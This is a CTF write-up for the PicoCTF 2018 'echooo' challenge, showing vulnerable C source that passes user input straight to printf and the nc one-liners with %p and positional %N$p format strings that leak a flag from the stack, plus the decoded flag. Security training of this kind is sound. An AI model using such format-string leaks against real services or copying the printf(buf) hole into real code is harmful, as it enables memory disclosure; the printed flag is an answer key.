Home PicoCTF 2018 Binary Exploitation 300: echooo
Writeup
Cancel

Binary Exploitation 300: echooo

Challenge

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 23397.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");

  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);

  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }
  return 0;
}

Solution

printf function is vulnerable to format string attacks. We can pass it a string lik %x or %p and read the stack.

since we know that picoCTF is 7069636f435446 in hex, we should be able to spot the flag on the stack, let’s try it:

1
2
3
4
5
$ python -c "print('%p'*32)" | nc 2018shell1.picoctf.com 23397
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> 0x400xf779a5a00x80486470xf77d1a740x10xf77a94900xffc1c8a40xffc1c7ac0x4910x89990080x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6d526f660x735f74340x6e695274

reformatted to make easier to read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x40
0xf77515a0
0x8048647
0xf7788a74
0x1
xf7760490
0xfff4a3c4
0xfff4a2cc
0x491
0x81aa008
0x70257025   # our own input of %p repeatedly
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0xa
0x6f636970  # flag? (little endian)
0x7b465443
0x6d526f66
0x735f7434
0x6e695274
..

The bytes around the flag translate to:

1
2
3
4
5
ocip
{FTC
mRof
s_t4
niRt

accounting for little endian this gives us:

1
picoCTF{foRm4t_stRin

but end is missing? our buffer isnt big enough to show us the whole flag, so we gotta be smarter about it.

Passing a format string like %42$p will return the 42nd item on the stack

1
2
3
4
5
$ python -c "print(''.join(['%'+str(i)+'\$p' for i in range(27,39)]))" | nc 2018shell1.picoctf.com 23397                    [13-10-18 11:25:04]
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> 0x6f6369700x7b4654430x6d526f660x735f74340x6e6952740x615f73470x445f65520x65476e610x737530720x3435325f0x613834310xa7d65

or with a bit of extra formatting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python -c "print(''.join(['%'+str(i)+'\$p' for i in range(27,39)]))" | nc 2018shell1.picoctf.com 23397 |head -n 4 | tail -n 1 | sed 's/0x/\n0x/g' | python ../../_resources/code/l2a.py
>
0x6f636970 ocip
0x7b465443 {FTC
0x6d526f66 mRof
0x735f7434 s_t4
0x6e695274 niRt
0x615f7347 a_sG
0x445f6552 D_eR
0x65476e61 eGna
0x73753072 su0r
0x3435325f 452_
0x61383431 a841
0xa7d65

the last line tranlslates to e} so full flag is:

Flag

picoCTF{foRm4t_stRinGs_aRe_DanGer0us_254148ae}